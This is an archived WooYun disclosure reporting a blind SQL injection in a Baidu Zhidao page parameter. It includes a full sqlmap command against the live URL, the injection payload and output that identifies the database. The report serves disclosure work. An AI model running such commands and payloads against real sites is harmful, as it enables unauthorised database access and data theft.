当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089491

漏洞标题:百度某重要分站SQL注入(证明可影响数据库)

相关厂商:百度

漏洞作者: Jannock

提交时间:2014-12-31 13:01

修复时间:2015-02-14 13:02

公开时间:2015-02-14 13:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-31: 细节已通知厂商并且等待厂商处理中
2014-12-31: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向核心白帽子及相关领域专家公开
2015-01-20: 细节向普通白帽子公开
2015-01-30: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

百度某重要分站SQL注入,新版上线前没有测试吧?

详细说明:

http://zhidao.baidu.com/doctor/list/answer?pn=0&rn=10&uid=1343437935&_=1420000464481
uid 存在注入,直接上代码好了。

root@bt5:/pentest/database/sqlmap# python sqlmap.py -u "http://zhidao.baidu.com/doctor/list/answer?pn=0&rn=10&uid=1343437935" -p uid  --string "1111097658302454499" --technique=B --dbms=mysql --user-agent "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:49:26
[12:49:26] [INFO] testing connection to the target url
[12:49:26] [INFO] heuristics detected web page charset 'ascii'
[12:49:26] [INFO] testing if the provided string is within the target URL page content
sqlmap got a 302 redirect to 'http://zhidao.baidu.com/error.html'. Do you want to follow? [Y/n] n
[12:49:30] [WARNING] heuristic test shows that GET parameter 'uid' might not be injectable
[12:49:30] [INFO] testing for SQL injection on GET parameter 'uid'
[12:49:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:49:30] [INFO] GET parameter 'uid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:49:30] [INFO] checking if the injection point on GET parameter 'uid' is a false positive
GET parameter 'uid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 9 HTTP(s) requests:
---
Place: GET
Parameter: uid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pn=0&rn=10&uid=1343437935 AND 9064=9064
---
[12:49:35] [INFO] testing MySQL
[12:49:35] [INFO] confirming MySQL
[12:49:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[12:49:36] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/zhidao.baidu.com'
[*] shutting down at 12:49:36

漏洞证明:

zhidao.png


web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[12:49:41] [INFO] fetching database names
[12:49:41] [INFO] fetching number of databases
[12:49:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:49:41] [INFO] retrieved:
[12:49:42] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[12:49:42] [ERROR] unable to retrieve the number of databases
[12:49:42] [INFO] falling back to current database
[12:49:42] [INFO] fetching current database
[12:49:42] [INFO] retrieved: iknow_doctor
available databases [1]:
[*] iknow_doctor

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-12-31 16:08

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-31 13:02 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @Jannock 一哥现身!

  2. 2014-12-31 13:04 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @Jannock 一哥来打卡的

  3. 2014-12-31 13:06 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    一哥溜

  4. 2014-12-31 21:33 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)

    前排强势围观

  5. 2015-01-04 12:51 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    一哥来打卡的